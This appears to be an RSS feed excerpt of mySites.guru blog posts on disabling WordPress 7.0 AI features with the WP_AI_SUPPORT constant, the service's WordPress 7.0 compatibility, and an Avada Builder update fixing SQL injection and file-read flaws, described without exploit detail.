&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;WordPress Configuration audit&lt;/a&gt; now picks up the &lt;code&gt;WP_AI_SUPPORT&lt;/code&gt; constant during every snapshot and flags any connected site where AI features are still enabled. One click flips the wp-config.php define on the remote site. If you &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;manage hundreds of WordPress sites&lt;/a&gt;, you can work through the whole portfolio from one screen rather than SSHing into each server.&lt;/p&gt;
&lt;h2&gt;One-Click WP_AI_SUPPORT Toggle Across Your Portfolio&lt;/h2&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;WordPress Configuration audit&lt;/a&gt; reads &lt;code&gt;WP_AI_SUPPORT&lt;/code&gt; from wp-config.php on every connected WordPress site during each snapshot. If the constant is undefined or set to anything other than &lt;code&gt;false&lt;/code&gt;, the audit flags the site as &quot;AI on&quot;.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Click the fix button. The connector plugin writes &lt;code&gt;define(&apos;WP_AI_SUPPORT&apos;, false);&lt;/code&gt; into wp-config.php on the remote site using the same wp-config writer it already uses for &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt;, &lt;code&gt;WP_DEBUG_DISPLAY&lt;/code&gt;, and &lt;code&gt;FORCE_SSL_LOGIN&lt;/code&gt;. The next snapshot confirms the change stuck.&lt;/p&gt;
&lt;p&gt;If someone (or something) reverts the define later - a host migration, a wp-config rebuild, a careless edit - the next audit catches it and you can flip it back.&lt;/p&gt;
&lt;p&gt;You can see the WP_AI_SUPPORT status of every WordPress site in your portfolio on one screen. No individual admin logins, no spreadsheets, no SSH. This is the same pattern as &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;stopping automatic updates with one click&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;enforcing minor-only WordPress core upgrades&lt;/a&gt; - one constant, one toggle, applied across the whole portfolio.&lt;/p&gt;
&lt;h2&gt;What is the difference between WP_AI_SUPPORT and the wp_supports_ai filter?&lt;/h2&gt;
&lt;p&gt;WordPress 7.0 gives you two ways to disable AI features, and the difference matters in practice.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;WP_AI_SUPPORT&lt;/code&gt; is a wp-config.php constant. It is read at the top of &lt;code&gt;wp_supports_ai()&lt;/code&gt;, before any filter or plugin gets a chance to run. If you define it as &lt;code&gt;false&lt;/code&gt;, nothing else can override that. It is the equivalent of pulling the plug at the wall.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;wp_supports_ai&lt;/code&gt; filter runs later in the request lifecycle. Any plugin can hook it and return &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt; at runtime. The community-maintained &lt;a href=&quot;https://wordpress.org/plugins/turn-off-ai-features/&quot;&gt;Turn Off AI Features plugin&lt;/a&gt; uses this approach at filter priority 1000. It works, but it depends on the plugin remaining installed and being the highest-priority hook on the filter. Another plugin hooking later at priority &lt;code&gt;PHP_INT_MAX&lt;/code&gt; could undo it.&lt;/p&gt;
&lt;p&gt;For a multi-site portfolio, the constant is the safer choice. It is harder for another plugin to undermine, it lives in a file most editors don&apos;t touch, and it leaves a clear audit trail. The mySites.guru toggle writes the constant, not the filter.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Tip&lt;/p&gt;
  &lt;p&gt;The mySites.guru WordPress Configuration audit also tracks WP_DEBUG_DISPLAY, FORCE_SSL_LOGIN, AUTOMATIC_UPDATER_DISABLED, DISALLOW_FILE_EDIT, and other wp-config constants. Set up one site, and the same audit runs on every connected site automatically.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Unrelated to mySites.guru&apos;s Malware Analysis AI&lt;/h2&gt;
&lt;p&gt;No. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; runs on our infrastructure, analyses suspect files we have already flagged with traditional pattern matching, and never sends your editorial content anywhere. WP_AI_SUPPORT controls a completely separate thing: WordPress core&apos;s built-in generative AI features, which run inside wp-admin and can be wired to third-party providers by anyone with admin access.&lt;/p&gt;
&lt;p&gt;Disabling WP_AI_SUPPORT on your sites has no effect on mySites.guru&apos;s own audit and malware analysis features. They use different code paths, run on different servers, and are governed by our own &lt;a href=&quot;https://mysites.guru/privacy/&quot;&gt;privacy policy&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How do I check WP_AI_SUPPORT status across every site I manage?&lt;/h2&gt;
&lt;p&gt;If you are already on mySites.guru, open any connected WordPress site, go to the WordPress Configuration audit, and look for the &lt;code&gt;WP_AI_SUPPORT&lt;/code&gt; row. Green means AI is disabled, red means it is still on. To compare across the whole portfolio, click &quot;Compare All Sites&quot; on the audit row - you get one screen with every site&apos;s WP_AI_SUPPORT status, sortable and filterable.&lt;/p&gt;
&lt;p&gt;If you are not on mySites.guru yet, run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on a single site. The audit will tell you whether WP_AI_SUPPORT is defined, what value it is set to, and what the wp_supports_ai() runtime result is. From there you can either install the connector on the rest of your sites for ongoing monitoring, or use the audit output as a one-off check.&lt;/p&gt;
&lt;p&gt;For agencies running large WordPress portfolios, the audit pairs well with our &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk WordPress update&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;vulnerability scanner&lt;/a&gt; tools. The same one-screen-per-portfolio pattern applies to updates, security headers, plugin status, and now AI features.&lt;/p&gt;
&lt;h2&gt;Manual wp-config.php Edit for Single Sites&lt;/h2&gt;
&lt;p&gt;If you only manage one or two sites, the manual approach is straightforward. SSH into the server, open wp-config.php, and add the define above the &quot;stop editing&quot; comment:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define( &apos;WP_AI_SUPPORT&apos;, false );

/* That&apos;s all, stop editing! Happy publishing. */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save and exit. The constant takes effect on the next request - no service restart, no cache clear, nothing to flush. From the admin or WP-CLI you can verify with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var_dump( wp_supports_ai() );  // bool(false)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If &lt;code&gt;wp_supports_ai()&lt;/code&gt; still returns &lt;code&gt;true&lt;/code&gt;, check three things: that the file you edited is the one WordPress actually loads (some hosts use a separate config like GridPane&apos;s &lt;code&gt;user-configs.php&lt;/code&gt;), that the define is above the &lt;code&gt;stop editing&lt;/code&gt; comment, and that no plugin is hooking the &lt;code&gt;wp_supports_ai&lt;/code&gt; filter with a higher priority and returning &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For more on managing wp-config.php settings, see our guide to &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;WordPress debug constants&lt;/a&gt;, which covers &lt;code&gt;WP_DEBUG&lt;/code&gt;, &lt;code&gt;WP_DEBUG_DISPLAY&lt;/code&gt;, and friends.&lt;/p&gt;
&lt;h2&gt;WP_AI_SUPPORT and Why It Matters&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;WP_AI_SUPPORT&lt;/code&gt; is a wp-config.php constant introduced in WordPress 7.0. When defined as &lt;code&gt;false&lt;/code&gt;, it disables the entire WordPress AI Client site-wide before any plugin or filter gets a chance to override the decision.&lt;/p&gt;
&lt;p&gt;The core function that gatekeeps everything is &lt;code&gt;wp_supports_ai()&lt;/code&gt;, defined in &lt;code&gt;wp-includes/ai-client.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function wp_supports_ai(): bool {
    if ( defined( &apos;WP_AI_SUPPORT&apos; ) &amp;amp;&amp;amp; ! WP_AI_SUPPORT ) {
        return false;
    }
    return (bool) apply_filters( &apos;wp_supports_ai&apos;, true );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Plugins that integrate the WordPress 7 AI client are expected to call this function first. If it returns &lt;code&gt;false&lt;/code&gt;, they skip their AI prompts entirely - no API requests, no admin UI, no background processing. Core uses the same check internally to gate AI provider connector registration.&lt;/p&gt;
&lt;p&gt;The default behaviour, with no constant defined and no filter hooked, is that &lt;code&gt;wp_supports_ai()&lt;/code&gt; returns &lt;code&gt;true&lt;/code&gt;. AI is on unless someone says otherwise.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Important&lt;/p&gt;
  &lt;p&gt;WordPress 7.0 does not ship an admin UI toggle to disable AI globally. The only ways to turn it off are the wp-config constant, the wp_supports_ai filter, or a plugin that wraps one of those.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why disable WordPress AI features at all?&lt;/h2&gt;
&lt;p&gt;If your sites have a real, agreed use case for AI in editorial or admin workflows, leave it on. For most agencies and hosting providers, the reasons to disable AI by default come down to a handful of recurring patterns:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Client contracts and NDAs&lt;/strong&gt;. Many client agreements explicitly forbid sending content to third-party AI providers without prior approval. With AI on by default, an editor can wire up a connector without anyone reviewing the contract.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data-protection compliance&lt;/strong&gt;. GDPR and UK GDPR require a documented lawful basis before personal data is processed by an AI model. The EDPB&apos;s &lt;a href=&quot;https://www.edpb.europa.eu/our-work-tools/our-documents/topic/artificial-intelligence_en&quot;&gt;Opinion 28/2024 on AI models&lt;/a&gt; and the &lt;a href=&quot;https://www.edps.europa.eu/data-protection/our-work/publications/guidelines/2025-10-28-guidance-generative-ai-strengthening-data-protection-rapidly-changing-digital-era_en&quot;&gt;EDPS 2025 generative AI guidance&lt;/a&gt; both put the burden on the controller to document what gets sent where. Disabling AI removes the need to make that case for every site.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Editorial and content-authenticity policies&lt;/strong&gt;. Journalism, academic, and legal-content sites often need to certify that no AI was used in the content pipeline. WP_AI_SUPPORT gives you an auditable server-level off switch.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cost containment&lt;/strong&gt;. Paid connector accounts get hit whenever an editor experiments with AI. Disabling the feature removes the risk of unexpected API bills.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reducing surface area&lt;/strong&gt;. Sites that have no need for AI features get less admin-side JavaScript, fewer settings panels, and no inert connector listings on Settings - Connectors.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can always re-enable AI for a specific site later by removing the define. Disabling it by default and opting sites in is the lower-risk posture for a multi-site portfolio.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/24/introducing-the-ai-client-in-wordpress-7-0/&quot;&gt;Introducing the AI Client in WordPress 7.0&lt;/a&gt; - the Make Core dev note that explains the architecture and the rationale behind &lt;code&gt;wp_supports_ai()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/18/introducing-the-connectors-api-in-wordpress-7-0/&quot;&gt;Introducing the Connectors API in WordPress 7.0&lt;/a&gt; - the companion post on how AI providers plug into WordPress, including the three featured connectors.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/05/14/wordpress-7-0-field-guide/&quot;&gt;WordPress 7.0 Field Guide&lt;/a&gt; - the full release reference, including the AI integration sections.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/turn-off-ai-features/&quot;&gt;Turn Off AI Features&lt;/a&gt; - the community plugin that wraps the &lt;code&gt;wp_supports_ai&lt;/code&gt; filter for site owners who would rather not edit wp-config.php.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.edpb.europa.eu/our-work-tools/our-documents/topic/artificial-intelligence_en&quot;&gt;EDPB Opinion 28/2024 on AI models&lt;/a&gt; - the European Data Protection Board&apos;s December 2024 opinion on processing personal data in AI systems.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>wordpress 7</category><category>wp-config</category><category>ai</category><category>site management</category><enclosure url="https://mysites.guru/_astro/disable-wordpress-ai-features-wp-ai-support.AKBdYs4D.png" length="0" type="image/png"/></item><item><title>mySites.guru is fully compatible with WordPress 7.0</title><link>https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/</link><guid isPermaLink="true">https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/</guid><description>WordPress 7.0 &quot;Armstrong&quot; shipped on 20 May 2026. mySites.guru works perfectly with it. Backup, update, and control auto-updates across every site.</description><pubDate>Thu, 21 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;WordPress 7.0 &quot;Armstrong&quot; released 20 May 2026&lt;/p&gt;
  &lt;p&gt;mySites.guru is fully compatible. No reinstall, no reconfiguration. Backup, update, and control auto-upgrades across every connected site from one dashboard.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;WordPress 7.0 &quot;Armstrong&quot; shipped on 20 May 2026, named after Louis Armstrong. It is the first major version bump in three years, and the largest set of core changes since the block editor landed. If you manage a portfolio of WordPress sites, the question is how to roll it out without breaking anything.&lt;/p&gt;
&lt;p&gt;mySites.guru is fully compatible with WordPress 7.0. The &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;connector&lt;/a&gt;, backups, audits, and one-click updates all work the same on 7.0 as on 6.x. There is nothing to reinstall on your end. Open any connected site, run a backup, and trigger the update from the same screen. If you &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;manage hundreds of sites&lt;/a&gt;, you can queue the update across the whole portfolio from one place.&lt;/p&gt;
&lt;h2&gt;How do I update multiple sites to WordPress 7.0?&lt;/h2&gt;
&lt;p&gt;The recommended workflow inside mySites.guru is backup, then update, on every site you intend to move. Both steps live behind keyboard shortcuts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Press &lt;code&gt;b&lt;/code&gt;&lt;/strong&gt; to open the &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;Backups tool&lt;/a&gt;. Trigger a fresh backup before any major core upgrade.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Press &lt;code&gt;c&lt;/code&gt; then &lt;code&gt;7&lt;/code&gt;&lt;/strong&gt; to open the &lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;WordPress 7 Compatibility Checker&lt;/a&gt;. It lists every site with its PHP version, database version, and auto-update status, colour-coded against the 7.0 requirements.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;From either screen you can drill into a site and run the WordPress core update. mySites.guru calls the same internal update routine WordPress uses in wp-admin. It just does it across every connected site without per-site logins.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Check your sites before you update&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;Open WordPress 7 Compatibility Checker&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Colour-codes every connected site&apos;s PHP, database, and auto-update status against the WordPress 7.0 requirements.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Letting 7.0 Auto-Install Is a Bad Idea&lt;/h2&gt;
&lt;p&gt;We recommend against it. Major core upgrades should happen on your schedule, after a fresh backup, with someone watching the result. Auto-upgrading a portfolio of client sites to a new major version overnight is how plugins break, layouts shift, and Monday mornings start badly.&lt;/p&gt;
&lt;p&gt;mySites.guru has a one-click tool that sets the two wp-config constants you want on every connected site:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; set to true, which stops the background updater touching core, plugins, themes, or translations&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; set to &lt;code&gt;minor&lt;/code&gt;, so security patches still arrive automatically while major version jumps wait for you&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You apply both with one click per site (or across the whole portfolio at once) without SSH or wp-config edits. See &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;Stop Automatic Updates in WordPress with One Click&lt;/a&gt; for the full walkthrough, and &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;Enforce Minor Upgrades Only&lt;/a&gt; for the reasoning behind the minor-only setting.&lt;/p&gt;
&lt;p&gt;If you would rather let WordPress auto-upgrade your sites to 7.0, that still works. mySites.guru will pick up the new version on the next audit and report it like any other change. The compatibility checker remains accurate either way.&lt;/p&gt;
&lt;h2&gt;WordPress 7.0 Server Requirements&lt;/h2&gt;
&lt;p&gt;The minimums shifted upward with this release. Sites that do not meet either floor will not be offered the 7.0 auto-update and stay on the 6.9 security branch until the host catches up.&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Component&lt;/th&gt;
      &lt;th&gt;WordPress 6.9&lt;/th&gt;
      &lt;th&gt;WordPress 7.0&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;PHP minimum&lt;/td&gt;
      &lt;td&gt;7.2.24&lt;/td&gt;
      &lt;td&gt;7.4&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;PHP recommended&lt;/td&gt;
      &lt;td&gt;8.0+&lt;/td&gt;
      &lt;td&gt;8.3+&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;MySQL minimum&lt;/td&gt;
      &lt;td&gt;5.5.5&lt;/td&gt;
      &lt;td&gt;8.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;MySQL recommended&lt;/td&gt;
      &lt;td&gt;8.0+&lt;/td&gt;
      &lt;td&gt;8.4 LTS&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;MariaDB minimum&lt;/td&gt;
      &lt;td&gt;10.3&lt;/td&gt;
      &lt;td&gt;10.6 (11.4 LTS recommended)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;For the full breakdown, see &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-requirements/&quot;&gt;Check Your Sites for WordPress 7.0 Compatibility&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-technical-requirements-check/&quot;&gt;WordPress 7 Technical Requirements Check&lt;/a&gt;. Both posts have the comparison tables, the rationale for each bump, and screenshots of the compatibility tool in action.&lt;/p&gt;
&lt;h2&gt;What Actually Shipped in WordPress 7.0&lt;/h2&gt;
&lt;p&gt;The headline feature for most of the 7.0 cycle was real-time collaborative editing in the block editor. That was pulled on 8 May 2026 over concerns about race conditions, server load, memory efficiency, and the need for a new core database table. It is being re-evaluated for 7.1.&lt;/p&gt;
&lt;p&gt;What did ship:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Modern admin redesign&lt;/strong&gt;: a refreshed colour scheme, smoother transitions between screens, and a Command Palette accessible from the admin bar.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web Client AI API&lt;/strong&gt;: a provider-agnostic interface that plugins and themes can use to call generative AI providers without bundling their own client. AI is on by default - see &lt;a href=&quot;https://mysites.guru/blog/disable-wordpress-ai-features-wp-ai-support/&quot;&gt;disabling WordPress 7 AI with WP_AI_SUPPORT&lt;/a&gt; if you&apos;d rather opt out across your portfolio.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;New blocks&lt;/strong&gt;: Icon and Breadcrumbs as core blocks, reducing the need for third-party block libraries.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Font management page&lt;/strong&gt;: a dedicated screen in the admin for both classic and block themes, replacing the patchwork of per-theme font UIs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Server-side block and pattern registration&lt;/strong&gt;: PHP-side auto-registration of blocks and patterns, reducing boilerplate for plugin developers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Roughly 300 core bugs and 486 Gutenberg bugs fixed&lt;/strong&gt;, plus 77 enhancements and 35 blessed tasks.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The official release post is at &lt;a href=&quot;https://wordpress.org/news/2026/05/armstrong/&quot;&gt;wordpress.org/news/2026/05/armstrong/&lt;/a&gt;. The &lt;a href=&quot;https://make.wordpress.org/core/2026/05/14/wordpress-7-0-field-guide/&quot;&gt;Field Guide&lt;/a&gt; on Make WordPress Core has the full list of developer-facing changes.&lt;/p&gt;
&lt;h2&gt;mySites.guru&apos;s WordPress 7.0 Coverage&lt;/h2&gt;
&lt;p&gt;Nothing. That is the point.&lt;/p&gt;
&lt;p&gt;The connector reads WordPress core, plugins, themes, the database, and wp-config the same way it did on 6.9. The audit results, backup format, restore workflow, hack detection, malware scanner, and one-click updates are all unchanged. The new Command Palette in WordPress 7.0 sits beside the mySites.guru keyboard shortcuts (&lt;code&gt;b&lt;/code&gt; for backups, &lt;code&gt;c&lt;/code&gt; then &lt;code&gt;7&lt;/code&gt; for compatibility, Cmd/Ctrl+K for the dashboard palette) without conflict.&lt;/p&gt;
&lt;p&gt;If you were running mySites.guru on WordPress 6.x last week, everything you used still works on 7.0. The only change you might want to make is the auto-upgrade setting, which is a one-click toggle.&lt;/p&gt;
&lt;h2&gt;How should I roll WordPress 7.0 out to client sites?&lt;/h2&gt;
&lt;p&gt;If you manage other people&apos;s sites, the safe rollout looks like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Audit compatibility first.&lt;/strong&gt; Open the WordPress 7 Compatibility Checker and identify any site below PHP 7.4 or MySQL 8.0. Those need a host upgrade before anything else.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disable core auto-upgrades.&lt;/strong&gt; Sites that are 7.0-ready should not jump on their own at 3am. Use the one-click tool to set the wp-config constants across every site at once.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pick a staging victim.&lt;/strong&gt; Update one low-stakes site to 7.0 first. Confirm the theme renders, the admin works, and the critical plugins still function.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Backup, then update in batches.&lt;/strong&gt; Group sites by stack similarity (same theme, same plugin set) and update each batch after a fresh backup. Watch for plugin compatibility messages in the WordPress admin.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audit again.&lt;/strong&gt; After each batch, run a mySites.guru audit. The version, plugin status, and any new compatibility warnings will be picked up on the next scheduled run, or you can trigger an audit on demand.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The whole process is one screen per step. No SSH, no wp-admin tabs, no spreadsheet to track which client got updated.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2026/05/armstrong/&quot;&gt;WordPress 7.0 &quot;Armstrong&quot; announcement&lt;/a&gt; - the official wordpress.org release post.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/05/14/wordpress-7-0-field-guide/&quot;&gt;WordPress 7.0 Field Guide&lt;/a&gt; - developer-facing breaking changes on Make WordPress Core.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/05/20/wordpress-7-0-release-day-process/&quot;&gt;WordPress 7.0 Release Day Process&lt;/a&gt; - the release-day log from the core team.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/31/extending-the-7-0-cycle/&quot;&gt;Extending the 7.0 cycle&lt;/a&gt; - the decision that pushed the original April date.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;Update every WordPress site from one dashboard&lt;/p&gt;
  &lt;p&gt;Connect unlimited sites, backup before every upgrade, and disable risky core auto-updates with one click. mySites.guru is fully compatible with WordPress 7.0 today.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Start your free trial&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>updates</category><category>backup</category><category>auto-updates</category><category>site management</category><enclosure url="https://mysites.guru/_astro/mysites-guru-fully-compatible-with-wordpress-7.BRejrfNb.png" length="0" type="image/png"/></item><item><title>Avada Builder Patches Two Security Issues in 3.15.3</title><link>https://mysites.guru/blog/avada-builder-cve-2026-4782-4798/</link><guid isPermaLink="true">https://mysites.guru/blog/avada-builder-cve-2026-4782-4798/</guid><description>Avada Builder 3.15.3 patches an unauthenticated SQL injection and a Subscriber-level arbitrary file read across 1 million WordPress sites. Here&apos;s how to find every affected site you manage.</description><pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Avada Builder, the plugin bundled with the Avada theme by ThemeFusion, runs on around 1 million WordPress sites. On May 12, 2026, Wordfence published &lt;a href=&quot;https://www.wordfence.com/blog/2026/05/1000000-wordpress-sites-affected-by-arbitrary-file-read-and-sql-injection-vulnerabilities-in-avada-builder-wordpress-plugin/&quot;&gt;two CVEs&lt;/a&gt; and ThemeFusion shipped the final patch the same day.&lt;/p&gt;
&lt;p&gt;The first is a Subscriber-level arbitrary file read that hands an attacker the contents of &lt;code&gt;wp-config.php&lt;/code&gt;. The second is an unauthenticated time-based SQL injection that fires on any Avada site that ever had WooCommerce installed. Both are fixed in &lt;strong&gt;3.15.3&lt;/strong&gt;. Update now.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update: a more severe Avada Builder flaw was patched after this one&lt;/p&gt;
  &lt;p&gt;A later release fixed &lt;a href=&quot;https://mysites.guru/blog/avada-builder-cve-2026-8713/&quot;&gt;CVE-2026-8713&lt;/a&gt;, an unauthenticated arbitrary file deletion flaw rated CVSS 9.1 that can delete &lt;code&gt;wp-config.php&lt;/code&gt; and lead to a full site takeover. It is fixed in 3.15.4. If you run Avada, update to the latest version, not just 3.15.3.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you manage WordPress sites for clients, the advisory is the easy bit. The work is figuring out which of your sites are still on 3.15.2 or earlier, then pushing the update to every one of them. Across the mySites.guru network we track Avada Builder on nearly 1,000 sites belonging to hundreds of agencies, so that work is real.&lt;/p&gt;
&lt;h2&gt;Finding Every Avada Builder Site in Your Portfolio&lt;/h2&gt;
&lt;p&gt;Up to about ten sites, you can log in to each one and check the Plugins screen. Past that, you need a single view. The Plugins screen approach is slow, error-prone, and only tells you what was on disk the last time someone updated.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;mySites.guru&apos;s WordPress Extensions inventory&lt;/a&gt; tracks every installed plugin across every connected site, refreshed on each snapshot. Search for &quot;Avada Builder&quot; (or the slug &lt;code&gt;fusion-builder&lt;/code&gt;) and you get every version across your portfolio, grouped by version number, with a &quot;Which sites?&quot; button that lists exactly where each version is running.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: find every Avada Builder install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/3a2c29cdb121e7ed00f8c72348c05e82&quot;&gt;Open Avada Builder Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every version of Avada Builder across your connected sites. Anything on 3.15.2 or earlier needs the 3.15.3 patch. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The same inventory feeds the vulnerability scanner. mySites.guru cross-references every installed plugin against the &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;Wordfence Vulnerability API&lt;/a&gt; twice a day, so when a CVE like CVE-2026-4782 drops, sites running affected versions get flagged with a red warning banner. No security feeds to watch.&lt;/p&gt;
&lt;h2&gt;Bulk Updating Avada Builder Across Hundreds of Sites&lt;/h2&gt;
&lt;p&gt;Once you know which sites need updating, the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass updater&lt;/a&gt; handles the rollout. Tick the sites that need 3.15.3, push the update across all of them from one screen. The same workflow covers any plugin, theme, or core update, so the routine you wire up once works for every future CVE. Pair it with the &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Akeeba Backup or All-In-One Migration integration&lt;/a&gt; to back up each selected site first.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;For agencies managing 50+ WordPress sites&lt;/p&gt;
  &lt;p&gt;Avada Builder ships with the Avada theme, so most clients running Avada have this plugin whether they know it or not. The patch is the easy bit; the inventory is the work. &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;See how bulk updates work in mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
